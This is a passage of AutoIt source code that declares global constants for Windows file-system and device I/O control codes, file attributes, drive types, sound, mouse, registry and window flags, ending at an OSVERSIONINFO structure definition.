$fsctl_create_usn_journal = 590055 Global Const $fsctl_delete_object_id = 589984 Global Const $fsctl_delete_reparse_point = 589996 Global Const $fsctl_delete_usn_journal = 590072 Global Const $fsctl_dismount_volume = 589856 Global Const $fsctl_dump_property_data = 589975 Global Const $fsctl_enable_upgrade = 622800 Global Const $fsctl_encryption_fsctl_io = 590043 Global Const $fsctl_enum_usn_data = 590003 Global Const $fsctl_extend_volume = 590064 Global Const $fsctl_filesystem_get_statistics = 589920 Global Const $fsctl_find_files_by_sid = 589967 Global Const $fsctl_get_compression = 589884 Global Const $fsctl_get_ntfs_file_record = 589928 Global Const $fsctl_get_ntfs_volume_data = 589924 Global Const $fsctl_get_object_id = 589980 Global Const $fsctl_get_reparse_point = 589992 Global Const $fsctl_get_retrieval_pointers = 589939 Global Const $fsctl_get_volume_bitmap = 589935 Global Const $fsctl_hsm_data = 639251 Global Const $fsctl_hsm_msg = 639240 Global Const $fsctl_invalidate_volumes = 589908 Global Const $fsctl_is_pathname_valid = 589868 Global Const $fsctl_is_volume_dirty = 589944 Global Const $fsctl_is_volume_mounted = 589864 Global Const $fsctl_lock_volume = 589848 Global Const $fsctl_mark_as_system_hive = 589903 Global Const $fsctl_mark_handle = 590076 Global Const $fsctl_mark_volume_dirty = 589872 Global Const $fsctl_move_file = 589940 Global Const $fsctl_opbatch_ack_close_pending = 589840 Global Const $fsctl_oplock_break_ack_no_2 = 589904 Global Const $fsctl_oplock_break_acknowledge = 589836 Global Const $fsctl_oplock_break_notify = 589844 Global Const $fsctl_query_allocated_ranges = 606415 Global Const $fsctl_query_fat_bpb = 589912 Global Const $fsctl_query_retrieval_pointers = 589883 Global Const $fsctl_query_usn_journal = 590068 Global Const $fsctl_read_file_usn_data = 590059 Global Const $fsctl_read_property_data = 589959 Global Const $fsctl_read_raw_encrypted = 590051 Global Const $fsctl_read_usn_journal = 590011 Global Const $fsctl_recall_file = 590103 Global Const $fsctl_request_batch_oplock = 589832 Global Const $fsctl_request_filter_oplock = 589916 Global Const $fsctl_request_oplock_level_1 = 589824 Global Const $fsctl_request_oplock_level_2 = 589828 Global Const $fsctl_security_id_check = 606391 Global Const $fsctl_set_compression = 639040 Global Const $fsctl_set_encryption = 590039 Global Const $fsctl_set_object_id = 589976 Global Const $fsctl_set_object_id_extended = 590012 Global Const $fsctl_set_reparse_point = 589988 Global Const $fsctl_set_sparse = 590020 Global Const $fsctl_set_zero_data = 622792 Global Const $fsctl_sis_copyfile = 590080 Global Const $fsctl_sis_link_files = 639236 Global Const $fsctl_unlock_volume = 589852 Global Const $fsctl_write_property_data = 589963 Global Const $fsctl_write_raw_encrypted = 590047 Global Const $fsctl_write_usn_close_record = 590063 Global Const $ioctl_aacs_end_session = 3363020 Global Const $ioctl_aacs_generate_binding_nonce = 3395824 Global Const $ioctl_aacs_get_certificate = 3363028 Global Const $ioctl_aacs_get_challenge_key = 3363032 Global Const $ioctl_aacs_read_binding_nonce = 3363052 Global Const $ioctl_aacs_read_media_id = 3363048 Global Const $ioctl_aacs_read_media_key_block = 3363012 Global Const $ioctl_aacs_read_media_key_block_size = 3363008 Global Const $ioctl_aacs_read_serial_number = 3363044 Global Const $ioctl_aacs_read_volume_id = 3363040 Global Const $ioctl_aacs_send_certificate = 3363024 Global Const $ioctl_aacs_send_challenge_key = 3363036 Global Const $ioctl_aacs_start_session = 3363016 Global Const $ioctl_ata_pass_through = 315436 Global Const $ioctl_ata_pass_through_direct = 315440 Global Const $ioctl_cdrom_check_verify = 149504 Global Const $ioctl_cdrom_disk_type = 131136 Global Const $ioctl_cdrom_eject_media = 149512 Global Const $ioctl_cdrom_find_new_devices = 149528 Global Const $ioctl_cdrom_get_configuration = 147544 Global Const $ioctl_cdrom_get_control = 147508 Global Const $ioctl_cdrom_get_drive_geometry = 147532 Global Const $ioctl_cdrom_get_drive_geometry_ex = 147536 Global Const $ioctl_cdrom_get_last_session = 147512 Global Const $ioctl_cdrom_get_volume = 147476 Global Const $ioctl_cdrom_load_media = 149516 Global Const $ioctl_cdrom_media_removal = 149508 Global Const $ioctl_cdrom_pause_audio = 147468 Global Const $ioctl_cdrom_play_audio_msf = 147480 Global Const $ioctl_cdrom_raw_read = 147518 Global Const $ioctl_cdrom_read_q_channel = 147500 Global Const $ioctl_cdrom_read_toc = 147456 Global Const $ioctl_cdrom_read_toc_ex = 147540 Global Const $ioctl_cdrom_release = 149524 Global Const $ioctl_cdrom_reserve = 149520 Global Const $ioctl_cdrom_resume_audio = 147472 Global Const $ioctl_cdrom_seek_audio_msf = 147460 Global Const $ioctl_cdrom_set_volume = 147496 Global Const $ioctl_cdrom_stop_audio = 147464 Global Const $ioctl_cdrom_unload_driver = 151560 Global Const $ioctl_disk_check_verify = 477184 Global Const $ioctl_disk_controller_number = 458820 Global Const $ioctl_disk_create_disk = 507992 Global Const $ioctl_disk_delete_drive_layout = 508160 Global Const $ioctl_disk_eject_media = 477192 Global Const $ioctl_disk_find_new_devices = 477208 Global Const $ioctl_disk_format_tracks = 507928 Global Const $ioctl_disk_format_tracks_ex = 507948 Global Const $ioctl_disk_get_cache_information = 475348 Global Const $ioctl_disk_get_drive_geometry = 458752 Global Const $ioctl_disk_get_drive_geometry_ex = 458912 Global Const $ioctl_disk_get_drive_layout = 475148 Global Const $ioctl_disk_get_drive_layout_ex = 458832 Global Const $ioctl_disk_get_length_info = 475228 Global Const $ioctl_disk_get_media_types = 461824 Global Const $ioctl_disk_get_partition_info = 475140 Global Const $ioctl_disk_get_partition_info_ex = 458824 Global Const $ioctl_disk_get_write_cache_state = 475356 Global Const $ioctl_disk_grow_partition = 508112 Global Const $ioctl_disk_histogram_data = 458804 Global Const $ioctl_disk_histogram_reset = 458808 Global Const $ioctl_disk_histogram_structure = 458800 Global Const $ioctl_disk_internal_clear_verify = 459783 Global Const $ioctl_disk_internal_set_notify = 459784 Global Const $ioctl_disk_internal_set_verify = 459779 Global Const $ioctl_disk_is_writable = 458788 Global Const $ioctl_disk_load_media = 477196 Global Const $ioctl_disk_logging = 458792 Global Const $ioctl_disk_media_removal = 477188 Global Const $ioctl_disk_performance = 458784 Global Const $ioctl_disk_performance_off = 458848 Global Const $ioctl_disk_reassign_blocks = 507932 Global Const $ioctl_disk_release = 477204 Global Const $ioctl_disk_request_data = 458816 Global Const $ioctl_disk_request_structure = 458812 Global Const $ioctl_disk_reserve = 477200 Global Const $ioctl_disk_set_cache_information = 508120 Global Const $ioctl_disk_set_drive_layout = 507920 Global Const $ioctl_disk_set_drive_layout_ex = 507988 Global Const $ioctl_disk_set_partition_info = 507912 Global Const $ioctl_disk_set_partition_info_ex = 507980 Global Const $ioctl_disk_update_drive_size = 508104 Global Const $ioctl_disk_update_properties = 459072 Global Const $ioctl_disk_verify = 458772 Global Const $ioctl_dvd_end_session = 3362828 Global Const $ioctl_dvd_get_region = 3362836 Global Const $ioctl_dvd_read_key = 3362820 Global Const $ioctl_dvd_read_structure = 3363136 Global Const $ioctl_dvd_send_key = 3362824 Global Const $ioctl_dvd_send_key2 = 3395608 Global Const $ioctl_dvd_set_read_ahead = 3362832 Global Const $ioctl_dvd_start_session = 3362816 Global Const $ioctl_mountdev_link_created = 5046288 Global Const $ioctl_mountdev_link_deleted = 5046292 Global Const $ioctl_mountdev_query_stable_guid = 5046296 Global Const $ioctl_mountdev_query_suggested_link_name = 5046284 Global Const $ioctl_mountdev_query_unique_id = 5046272 Global Const $ioctl_mountdev_unique_id_change_notify = 5046276 Global Const $ioctl_mountmgr_auto_dl_assignments = 7192596 Global Const $ioctl_mountmgr_change_notify = 7159840 Global Const $ioctl_mountmgr_check_unprocessed_volumes = 7159848 Global Const $ioctl_mountmgr_create_point = 7192576 Global Const $ioctl_mountmgr_delete_points = 7192580 Global Const $ioctl_mountmgr_delete_points_dbonly = 7192588 Global Const $ioctl_mountmgr_keep_links_when_offline = 7192612 Global Const $ioctl_mountmgr_next_drive_letter = 7192592 Global Const $ioctl_mountmgr_query_dos_volume_path = 7143472 Global Const $ioctl_mountmgr_query_dos_volume_paths = 7143476 Global Const $ioctl_mountmgr_query_points = 7143432 Global Const $ioctl_mountmgr_volume_arrival_notification = 7159852 Global Const $ioctl_mountmgr_volume_mount_point_created = 7192600 Global Const $ioctl_mountmgr_volume_mount_point_deleted = 7192604 Global Const $ioctl_scsi_get_inquiry_data = 266252 Global Const $ioctl_scsi_get_capabilities = 266256 Global Const $ioctl_scsi_get_address = 266264 Global Const $ioctl_scsi_miniport = 315400 Global Const $ioctl_scsi_pass_through = 315396 Global Const $ioctl_scsi_pass_through_direct = 315412 Global Const $ioctl_scsi_rescan_bus = 266268 Global Const $ioctl_storage_break_reservation = 2969620 Global Const $ioctl_storage_check_verify = 2967552 Global Const $ioctl_storage_check_verify2 = 2951168 Global Const $ioctl_storage_eject_media = 2967560 Global Const $ioctl_storage_ejection_control = 2951488 Global Const $ioctl_storage_find_new_devices = 2967576 Global Const $ioctl_storage_get_device_number = 2953344 Global Const $ioctl_storage_get_hotplug_info = 2952212 Global Const $ioctl_storage_get_media_serial_number = 2952208 Global Const $ioctl_storage_get_media_types = 2952192 Global Const $ioctl_storage_get_media_types_ex = 2952196 Global Const $ioctl_storage_load_media = 2967564 Global Const $ioctl_storage_load_media2 = 2951180 Global Const $ioctl_storage_manage_data_set_attributes = 2987012 Global Const $ioctl_storage_mcn_control = 2951492 Global Const $ioctl_storage_media_removal = 2967556 Global Const $ioctl_storage_persistent_reserve_in = 2969624 Global Const $ioctl_storage_persistent_reserve_out = 2969628 Global Const $ioctl_storage_predict_failure = 2953472 Global Const $ioctl_storage_query_property = 2954240 Global Const $ioctl_storage_release = 2967572 Global Const $ioctl_storage_reserve = 2967568 Global Const $ioctl_storage_reset_bus = 2969600 Global Const $ioctl_storage_reset_device = 2969604 Global Const $ioctl_storage_set_hotplug_info = 3001368 Global Const $ioctl_storage_set_read_ahead = 2966528 Global Const $ioctl_volume_get_gpt_attributes = 5636152 Global Const $ioctl_volume_get_volume_disk_extents = 5636096 Global Const $ioctl_volume_is_clustered = 5636144 Global Const $ioctl_volume_is_io_capable = 5636116 Global Const $ioctl_volume_is_offline = 5636112 Global Const $ioctl_volume_is_partition = 5636136 Global Const $ioctl_volume_logical_to_physical = 5636128 Global Const $ioctl_volume_offline = 5685260 Global Const $ioctl_volume_online = 5685256 Global Const $ioctl_volume_physical_to_logical = 5636132 Global Const $ioctl_volume_query_failover_set = 5636120 Global Const $ioctl_volume_query_volume_number = 5636124 Global Const $ioctl_volume_read_plex = 5652526 Global Const $ioctl_volume_set_gpt_attributes = 5636148 Global Const $ioctl_volume_supports_online_offline = 5636100 Global Const $smart_get_version = 475264 Global Const $smart_rcv_drive_data = 508040 Global Const $smart_send_drive_command = 508036 Global Const $file_encryptable = 0 Global Const $file_is_encrypted = 1 Global Const $file_read_only = 8 Global Const $file_root_dir = 3 Global Const $file_system_attr = 2 Global Const $file_system_dir = 4 Global Const $file_system_not_support = 6 Global Const $file_unknown = 5 Global Const $file_user_disallowed = 7 Global Const $scs_32bit_binary = 0 Global Const $scs_64bit_binary = 6 Global Const $scs_dos_binary = 1 Global Const $scs_os216_binary = 5 Global Const $scs_pif_binary = 3 Global Const $scs_posix_binary = 4 Global Const $scs_wow_binary = 2 Global Const $drive_bus_type_unknown = 0 Global Const $drive_bus_type_scsi = 1 Global Const $drive_bus_type_atapi = 2 Global Const $drive_bus_type_ata = 3 Global Const $drive_bus_type_1394 = 4 Global Const $drive_bus_type_ssa = 5 Global Const $drive_bus_type_fibre = 6 Global Const $drive_bus_type_usb = 7 Global Const $drive_bus_type_raid = 8 Global Const $drive_bus_type_iscsi = 9 Global Const $drive_bus_type_sas = 10 Global Const $drive_bus_type_sata = 11 Global Const $drive_bus_type_sd = 12 Global Const $drive_bus_type_mmc = 13 Global Const $drive_unknown = 0 Global Const $drive_no_root_dir = 1 Global Const $drive_removable = 2 Global Const $drive_fixed = 3 Global Const $drive_remote = 4 Global Const $drive_cdrom = 5 Global Const $drive_ramdisk = 6 Global Const $file_type_char = 2 Global Const $file_type_disk = 1 Global Const $file_type_pipe = 3 Global Const $file_type_remote = 32768 Global Const $file_type_unknown = 0 Global Const $file_name_normalized = 0 Global Const $file_name_opened = 8 Global Const $volume_name_dos = 0 Global Const $volume_name_guid = 1 Global Const $volume_name_none = 4 Global Const $volume_name_nt = 2 Global Const $image_file_machine_unknown = 0 Global Const $image_file_machine_am33 = 467 Global Const $image_file_machine_amd64 = 34404 Global Const $image_file_machine_arm = 448 Global Const $image_file_machine_ebc = 3772 Global Const $image_file_machine_i386 = 332 Global Const $image_file_machine_ia64 = 512 Global Const $image_file_machine_m32r = 36929 Global Const $image_file_machine_mips16 = 614 Global Const $image_file_machine_mipsfpu = 870 Global Const $image_file_machine_mipsfpu16 = 1126 Global Const $image_file_machine_powerpc = 496 Global Const $image_file_machine_powerpcfp = 497 Global Const $image_file_machine_r4000 = 358 Global Const $image_file_machine_sh3 = 418 Global Const $image_file_machine_sh3dsp = 419 Global Const $image_file_machine_sh4 = 422 Global Const $image_file_machine_sh5 = 424 Global Const $image_file_machine_thumb = 450 Global Const $image_file_machine_wcemipsv2 = 361 Global Const $file_case_preserved_names = 2 Global Const $file_case_sensitive_search = 1 Global Const $file_file_compression = 16 Global Const $file_named_streams = 262144 Global Const $file_persistent_acls = 8 Global Const $file_read_only_volume = 524288 Global Const $file_sequential_write_once = 1048576 Global Const $file_supports_encryption = 131072 Global Const $file_supports_extended_attributes = 8388608 Global Const $file_supports_hard_links = 4194304 Global Const $file_supports_object_ids = 65536 Global Const $file_supports_open_by_file_id = 16777216 Global Const $file_supports_reparse_points = 128 Global Const $file_supports_sparse_files = 64 Global Const $file_supports_transactions = 2097152 Global Const $file_supports_usn_journal = 33554432 Global Const $file_unicode_on_disk = 4 Global Const $file_volume_is_compressed = 32768 Global Const $file_volume_quotas = 32 Global Const $file_device_8042_port = 39 Global Const $file_device_acpi = 50 Global Const $file_device_battery = 41 Global Const $file_device_beep = 1 Global Const $file_device_bus_extender = 42 Global Const $file_device_cd_rom = 2 Global Const $file_device_cd_rom_file_system = 3 Global Const $file_device_changer = 48 Global Const $file_device_controller = 4 Global Const $file_device_datalink = 5 Global Const $file_device_dfs = 6 Global Const $file_device_dfs_file_system = 53 Global Const $file_device_dfs_volume = 54 Global Const $file_device_disk = 7 Global Const $file_device_disk_file_system = 8 Global Const $file_device_dvd = 51 Global Const $file_device_file_system = 9 Global Const $file_device_fips = 58 Global Const $file_device_fullscreen_video = 52 Global Const $file_device_inport_port = 10 Global Const $file_device_keyboard = 11 Global Const $file_device_ks = 47 Global Const $file_device_ksec = 57 Global Const $file_device_mailslot = 12 Global Const $file_device_mass_storage = 45 Global Const $file_device_midi_in = 13 Global Const $file_device_midi_out = 14 Global Const $file_device_modem = 43 Global Const $file_device_mouse = 15 Global Const $file_device_multi_unc_provider = 16 Global Const $file_device_named_pipe = 17 Global Const $file_device_network = 18 Global Const $file_device_network_browser = 19 Global Const $file_device_network_file_system = 20 Global Const $file_device_network_redirector = 40 Global Const $file_device_null = 21 Global Const $file_device_parallel_port = 22 Global Const $file_device_physical_netcard = 23 Global Const $file_device_printer = 24 Global Const $file_device_scanner = 25 Global Const $file_device_screen = 28 Global Const $file_device_serenum = 55 Global Const $file_device_serial_mouse_port = 26 Global Const $file_device_serial_port = 27 Global Const $file_device_smartcard = 49 Global Const $file_device_smb = 46 Global Const $file_device_sound = 29 Global Const $file_device_streams = 30 Global Const $file_device_tape = 31 Global Const $file_device_tape_file_system = 32 Global Const $file_device_termsrv = 56 Global Const $file_device_transport = 33 Global Const $file_device_unknown = 34 Global Const $file_device_vdm = 44 Global Const $file_device_video = 35 Global Const $file_device_virtual_disk = 36 Global Const $file_device_wave_in = 37 Global Const $file_device_wave_out = 38 Global Const $file_any_access = 0 Global Const $file_special_access = $file_any_access Global Const $file_read_access = 1 Global Const $file_write_access = 2 Global Const $method_buffered = 0 Global Const $method_in_direct = 1 Global Const $method_out_direct = 2 Global Const $method_neither = 3 Global Const $file_notify_change_file_name = 1 Global Const $file_notify_change_dir_name = 2 Global Const $file_notify_change_attributes = 4 Global Const $file_notify_change_size = 8 Global Const $file_notify_change_last_write = 16 Global Const $file_notify_change_last_access = 32 Global Const $file_notify_change_creation = 64 Global Const $file_notify_change_security = 256 Global Const $file_action_added = 1 Global Const $file_action_removed = 2 Global Const $file_action_modified = 3 Global Const $file_action_renamed_old_name = 4 Global Const $file_action_renamed_new_name = 5 Global Const $replacefile_write_through = 1 Global Const $replacefile_ignore_merge_errors = 2 Global Const $replacefile_ignore_acl_errors = 4 Global Const $base_search_path_enable_safe_searchmode = 1 Global Const $base_search_path_disable_safe_searchmode = 65536 Global Const $base_search_path_permanent = 32768 Global Const $fc_nooverwrite = 0 Global Const $fc_overwrite = 1 Global Const $fc_createpath = 8 Global Const $ft_modified = 0 Global Const $ft_created = 1 Global Const $ft_accessed = 2 Global Const $ft_array = 0 Global Const $ft_string = 1 Global Const $fsf_createbutton = 1 Global Const $fsf_newdialog = 2 Global Const $fsf_editcontrol = 4 Global Const $ft_nonrecursive = 0 Global Const $ft_recursive = 1 Global Const $fo_read = 0 Global Const $fo_append = 1 Global Const $fo_overwrite = 2 Global Const $fo_createpath = 8 Global Const $fo_binary = 16 Global Const $fo_unicode = 32 Global Const $fo_utf16_le = 32 Global Const $fo_utf16_be = 64 Global Const $fo_utf8 = 128 Global Const $fo_utf8_nobom = 256 Global Const $fo_ansi = 512 Global Const $fo_utf16_le_nobom = 1024 Global Const $fo_utf16_be_nobom = 2048 Global Const $fo_utf8_full = 16384 Global Const $fo_fullfile_detect = 16384 Global Const $eof = -1 Global Const $fd_filemustexist = 1 Global Const $fd_pathmustexist = 2 Global Const $fd_multiselect = 4 Global Const $fd_promptcreatenew = 8 Global Const $fd_promptoverwrite = 16 Global Const $create_new = 1 Global Const $create_always = 2 Global Const $open_existing = 3 Global Const $open_always = 4 Global Const $truncate_existing = 5 Global Const $invalid_set_file_pointer = -1 Global Const $file_begin = 0 Global Const $file_current = 1 Global Const $file_end = 2 Global Const $file_attribute_readonly = 1 Global Const $file_attribute_hidden = 2 Global Const $file_attribute_system = 4 Global Const $file_attribute_directory = 16 Global Const $file_attribute_archive = 32 Global Const $file_attribute_device = 64 Global Const $file_attribute_normal = 128 Global Const $file_attribute_temporary = 256 Global Const $file_attribute_sparse_file = 512 Global Const $file_attribute_reparse_point = 1024 Global Const $file_attribute_compressed = 2048 Global Const $file_attribute_offline = 4096 Global Const $file_attribute_not_content_indexed = 8192 Global Const $file_attribute_encrypted = 16384 Global Const $file_share_read = 1 Global Const $file_share_write = 2 Global Const $file_share_delete = 4 Global Const $file_share_readwrite = BitOR($file_share_read, $file_share_write) Global Const $file_share_any = BitOR($file_share_read, $file_share_write, $file_share_delete) Global Const $generic_all = 268435456 Global Const $generic_execute = 536870912 Global Const $generic_write = 1073741824 Global Const $generic_read = -2147483648 Global Const $generic_readwrite = BitOR($generic_read, $generic_write) Global Const $file_encoding_utf16le = 32 Global Const $fe_entire_utf8 = 1 Global Const $fe_partialfirst_utf8 = 2 Global Const $fn_fullpath = 0 Global Const $fn_relativepath = 1 Global Const $fv_comments = "Comments" Global Const $fv_companyname = "CompanyName" Global Const $fv_filedescription = "FileDescription" Global Const $fv_fileversion = "FileVersion" Global Const $fv_internalname = "InternalName" Global Const $fv_legalcopyright = "LegalCopyright" Global Const $fv_legaltrademarks = "LegalTrademarks" Global Const $fv_originalfilename = "OriginalFilename" Global Const $fv_productname = "ProductName" Global Const $fv_productversion = "ProductVersion" Global Const $fv_privatebuild = "PrivateBuild" Global Const $fv_specialbuild = "SpecialBuild" Global Const $frta_nocount = 0 Global Const $frta_count = 1 Global Const $frta_intarrays = 2 Global Const $frta_entiresplit = 4 Global Const $flta_filesfolders = 0 Global Const $flta_files = 1 Global Const $flta_folders = 2 Global Const $fltar_filesfolders = 0 Global Const $fltar_files = 1 Global Const $fltar_folders = 2 Global Const $fltar_nohidden = 4 Global Const $fltar_nosystem = 8 Global Const $fltar_nolink = 16 Global Const $fltar_norecur = 0 Global Const $fltar_recur = 1 Global Const $fltar_nosort = 0 Global Const $fltar_sort = 1 Global Const $fltar_fastsort = 2 Global Const $fltar_nopath = 0 Global Const $fltar_relpath = 1 Global Const $fltar_fullpath = 2 Global Const $snd_application = 128 Global Const $snd_alias = 65536 Global Const $snd_alias_id = 1114112 Global Const $snd_async = 1 Global Const $snd_filename = 131072 Global Const $snd_loop = 8 Global Const $snd_memory = 4 Global Const $snd_nodefault = 2 Global Const $snd_nostop = 16 Global Const $snd_nowait = 8192 Global Const $snd_purge = 64 Global Const $snd_resource = 262148 Global Const $snd_sentry = 524288 Global Const $snd_sync = 0 Global Const $snd_system = 2097152 Global Const $snd_system_nostop = 2097168 Global Const $snd_alias_systemasterisk = "SystemAsterisk" Global Const $snd_alias_systemdefault = "SystemDefault" Global Const $snd_alias_systemexclamation = "SystemExclamation" Global Const $snd_alias_systemexit = "SystemExit" Global Const $snd_alias_systemhand = "SystemHand" Global Const $snd_alias_systemquestion = "SystemQuestion" Global Const $snd_alias_systemstart = "SystemStart" Global Const $snd_alias_systemwelcome = "SystemWelcome" Global Const $str_nocasesense = 0 Global Const $str_casesense = 1 Global Const $str_nocasesensebasic = 2 Global Const $str_stripleading = 1 Global Const $str_striptrailing = 2 Global Const $str_stripspaces = 4 Global Const $str_stripall = 8 Global Const $str_chrsplit = 0 Global Const $str_entiresplit = 1 Global Const $str_nocount = 2 Global Const $str_regexpmatch = 0 Global Const $str_regexparraymatch = 1 Global Const $str_regexparrayfullmatch = 2 Global Const $str_regexparrayglobalmatch = 3 Global Const $str_regexparrayglobalfullmatch = 4 Global Const $str_endisstart = 0 Global Const $str_endnotstart = 1 Global Const $sb_ansi = 1 Global Const $sb_utf16le = 2 Global Const $sb_utf16be = 3 Global Const $sb_utf8 = 4 Global Const $se_utf16 = 0 Global Const $se_ansi = 1 Global Const $se_utf8 = 2 Global Const $str_utf16 = 0 Global Const $str_ucs2 = 1 Global Const $opt_coordsrelative = 0 Global Const $opt_coordsabsolute = 1 Global Const $opt_coordsclient = 2 Global Const $opt_errorsilent = 0 Global Const $opt_errorfatal = 1 Global Const $opt_capsnostore = 0 Global Const $opt_capsstore = 1 Global Const $opt_matchstart = 1 Global Const $opt_matchany = 2 Global Const $opt_matchexact = 3 Global Const $opt_matchadvanced = 4 Global Const $ccs_top = 1 Global Const $ccs_nomovey = 2 Global Const $ccs_bottom = 3 Global Const $ccs_noresize = 4 Global Const $ccs_noparentalign = 8 Global Const $ccs_nohilite = 16 Global Const $ccs_adjustable = 32 Global Const $ccs_nodivider = 64 Global Const $ccs_vert = 128 Global Const $ccs_left = 129 Global Const $ccs_nomovex = 130 Global Const $ccs_right = 131 Global Const $dt_drivetype = 1 Global Const $dt_ssdstatus = 2 Global Const $dt_bustype = 3 Global Const $proxy_ie = 0 Global Const $proxy_none = 1 Global Const $proxy_specified = 2 Global Const $objid_window = 0 Global Const $objid_titlebar = -2 Global Const $objid_sizegrip = -7 Global Const $objid_caret = -8 Global Const $objid_cursor = -9 Global Const $objid_alert = -10 Global Const $objid_sound = -11 Global Const $dlg_centerontop = 0 Global Const $dlg_notitle = 1 Global Const $dlg_notontop = 2 Global Const $dlg_textleft = 4 Global Const $dlg_textright = 8 Global Const $dlg_moveable = 16 Global Const $dlg_textvcenter = 32 Global Const $idc_unknown = 0 Global Const $idc_appstarting = 1 Global Const $idc_arrow = 2 Global Const $idc_cross = 3 Global Const $idc_hand = 32649 Global Const $idc_help = 4 Global Const $idc_ibeam = 5 Global Const $idc_icon = 6 Global Const $idc_no = 7 Global Const $idc_size = 8 Global Const $idc_sizeall = 9 Global Const $idc_sizenesw = 10 Global Const $idc_sizens = 11 Global Const $idc_sizenwse = 12 Global Const $idc_sizewe = 13 Global Const $idc_uparrow = 14 Global Const $idc_wait = 15 Global Const $idi_application = 32512 Global Const $idi_asterisk = 32516 Global Const $idi_exclamation = 32515 Global Const $idi_hand = 32513 Global Const $idi_question = 32514 Global Const $idi_winlogo = 32517 Global Const $idi_shield = 32518 Global Const $idi_error = $idi_hand Global Const $idi_information = $idi_asterisk Global Const $idi_warning = $idi_exclamation Global Const $sd_logoff = 0 Global Const $sd_shutdown = 1 Global Const $sd_reboot = 2 Global Const $sd_force = 4 Global Const $sd_powerdown = 8 Global Const $sd_forcehung = 16 Global Const $sd_standby = 32 Global Const $sd_hibernate = 64 Global Const $stdin_child = 1 Global Const $stdout_child = 2 Global Const $stderr_child = 4 Global Const $stderr_merged = 8 Global Const $stdio_inherit_parent = 16 Global Const $run_create_new_console = 65536 Global Const $ubound_dimensions = 0 Global Const $ubound_rows = 1 Global Const $ubound_columns = 2 Global Const $mouseeventf_absolute = 32768 Global Const $mouseeventf_move = 1 Global Const $mouseeventf_leftdown = 2 Global Const $mouseeventf_leftup = 4 Global Const $mouseeventf_rightdown = 8 Global Const $mouseeventf_rightup = 16 Global Const $mouseeventf_middledown = 32 Global Const $mouseeventf_middleup = 64 Global Const $mouseeventf_wheel = 2048 Global Const $mouseeventf_xdown = 128 Global Const $mouseeventf_xup = 256 Global Const $reg_none = 0 Global Const $reg_sz = 1 Global Const $reg_expand_sz = 2 Global Const $reg_binary = 3 Global Const $reg_dword = 4 Global Const $reg_dword_little_endian = 4 Global Const $reg_dword_big_endian = 5 Global Const $reg_link = 6 Global Const $reg_multi_sz = 7 Global Const $reg_resource_list = 8 Global Const $reg_full_resource_descriptor = 9 Global Const $reg_resource_requirements_list = 10 Global Const $reg_qword = 11 Global Const $reg_qword_little_endian = 11 Global Const $hwnd_bottom = 1 Global Const $hwnd_notopmost = -2 Global Const $hwnd_top = 0 Global Const $hwnd_topmost = -1 Global Const $swp_nosize = 1 Global Const $swp_nomove = 2 Global Const $swp_nozorder = 4 Global Const $swp_noredraw = 8 Global Const $swp_noactivate = 16 Global Const $swp_framechanged = 32 Global Const $swp_drawframe = 32 Global Const $swp_showwindow = 64 Global Const $swp_hidewindow = 128 Global Const $swp_nocopybits = 256 Global Const $swp_noownerzorder = 512 Global Const $swp_noreposition = 512 Global Const $swp_nosendchanging = 1024 Global Const $swp_defererase = 8192 Global Const $swp_asyncwindowpos = 16384 Global Const $keyword_default = 1 Global Const $keyword_null = 2 Global Const $declared_local = -1 Global Const $declared_unknown = 0 Global Const $declared_global = 1 Global Const $assign_create = 0 Global Const $assign_forcelocal = 1 Global Const $assign_forceglobal = 2 Global Const $assign_existfail = 4 Global Const $bi_enable = 0 Global Const $bi_disable = 1 Global Const $break_enable = 1 Global Const $break_disable = 0 Global Const $cdtray_open = "open" Global Const $cdtray_closed = "closed" Global Const $send_default = 0 Global Const $send_raw = 1 Global Const $dir_default = 0 Global Const $dir_extended = 1 Global Const $dir_norecurse = 2 Global Const $dir_remove = 1 Global Const $dt_all = "ALL" Global Const $dt_cdrom = "CDROM" Global Const $dt_removable = "REMOVABLE" Global Const $dt_fixed = "FIXED" Global Const $dt_network = "NETWORK" Global Const $dt_ramdisk = "RAMDISK" Global Const $dt_unknown = "UNKNOWN" Global Const $dt_undefined = 1 Global Const $dt_fat = "FAT" Global Const $dt_fat32 = "FAT32" Global Const $dt_exfat = "exFAT" Global Const $dt_ntfs = "NTFS" Global Const $dt_nwfs = "NWFS" Global Const $dt_cdfs = "CDFS" Global Const $dt_udf = "UDF" Global Const $dma_default = 0 Global Const $dma_persistent = 1 Global Const $dma_authentication = 8 Global Const $ds_unknown = "UNKNOWN" Global Const $ds_ready = "READY" Global Const $ds_notready = "NOTREADY" Global Const $ds_invalid = "INVALID" Global Const $mouse_click_left = "left" Global Const $mouse_click_right = "right" Global Const $mouse_click_middle = "middle" Global Const $mouse_click_main = "main" Global Const $mouse_click_menu = "menu" Global Const $mouse_click_primary = "primary" Global Const $mouse_click_secondary = "secondary" Global Const $mouse_wheel_up = "up" Global Const $mouse_wheel_down = "down" Global Const $number_auto = 0 Global Const $number_32bit = 1 Global Const $number_64bit = 2 Global Const $number_double = 3 Global Const $obj_name = 1 Global Const $obj_string = 2 Global Const $obj_progid = 3 Global Const $obj_file = 4 Global Const $obj_module = 5 Global Const $obj_clsid = 6 Global Const $obj_iid = 7 Global Const $exitclose_normal = 0 Global Const $exitclose_byexit = 1 Global Const $exitclose_byclick = 2 Global Const $exitclose_bylogoff = 3 Global Const $exitclose_bysutdown = 4 Global Const $process_stats_memory = 0 Global Const $process_stats_io = 1 Global Const $process_low = 0 Global Const $process_belownormal = 1 Global Const $process_normal = 2 Global Const $process_abovenormal = 3 Global Const $process_high = 4 Global Const $process_realtime = 5 Global Const $run_logon_noprofile = 0 Global Const $run_logon_profile = 1 Global Const $run_logon_network = 2 Global Const $run_logon_inherit = 4 Global Const $sound_nowait = 0 Global Const $sound_wait = 1 Global Const $shex_open = "open" Global Const $shex_edit = "edit" Global Const $shex_print = "print" Global Const $shex_properties = "properties" Global Const $tcp_data_default = 0 Global Const $tcp_data_binary = 1 Global Const $udp_open_default = 0 Global Const $udp_open_broadcast = 1 Global Const $udp_data_default = 0 Global Const $udp_data_binary = 1 Global Const $udp_data_array = 2 Global Const $tip_noicon = 0 Global Const $tip_infoicon = 1 Global Const $tip_warningicon = 2 Global Const $tip_erroricon = 3 Global Const $tip_balloon = 1 Global Const $tip_center = 2 Global Const $tip_forcevisible = 4 Global Const $windows_noontop = 0 Global Const $windows_ontop = 1 #Region Global Variables and Constants Global $__g_venum, $__g_vext = 0 Global $__g_hheap = 0, $__g_irgbmode = 1 Global Const $tagosversioninfo = "struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct" 